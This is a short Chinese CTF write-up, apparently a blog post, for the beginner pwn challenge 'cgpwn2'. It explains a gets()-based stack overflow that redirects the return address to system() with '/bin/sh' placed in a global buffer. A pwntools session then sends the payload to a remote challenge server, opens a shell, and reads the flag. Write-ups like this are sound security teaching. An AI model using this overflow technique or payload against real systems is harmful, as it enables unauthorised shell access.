pwn 新手 cgpwn2

没有思路,没找到cat 和flag 和sh之类的

 

 

 

 

 

 

 

 

WriteUp:

在我们分析程序逻辑时我们可以看到在hello函数中有一个部分我们用gets函数向栈 的s区域读取了字符串,

结合gets函数不限制输入字符个数程序没有开启stack保护两点,

我们可以在使用输入时让输入的字符串覆盖栈上hello函数的返回地址,让程 序执行完hello函数之后执行我们设计的部分

 

1 执行call system ,但是参数要是bin/sh

 

 

2.输入s要把局部变量和esp he返回地址覆盖掉,返回地址是call 的地方,还有覆盖返回地址的前4字节,存放“bin/sh地址”,bin/sh可存放到name中,所以是name地址

>> from pwn import *
>>> p=remote("111.200.241.244",30593)
[x] Opening connection to 111.200.241.244 on port 30593
[x] Opening connection to 111.200.241.244 on port 30593: Trying 111.200.241.244
[+] Opening connection to 111.200.241.244 on port 30593: Done
>>> p.recv()
b'please tell me your name\n'
>>> p.sendline("/bin/sh")
>>> p.recv()
b'hello,you can leave some message here:\n'
>>> payload="a"*0x26+"aaaa"+p32(0x0804855A).decode("unicode_escape")+p32(0x0804A080).decode("unicode_escape")
>>> p.sendline(payload)
>>> p.interactive()
[*] Switching to interactive mode
ls
bin
cgpwn2
dev
flag
lib
lib32
lib64
cat flag
cyberpeace{d2a8e4b686819e3ec91558b9a8e61e26}

 

posted @ 2021-03-03 15:19  KnowledgePorter  阅读(10)  评论(0)    收藏  举报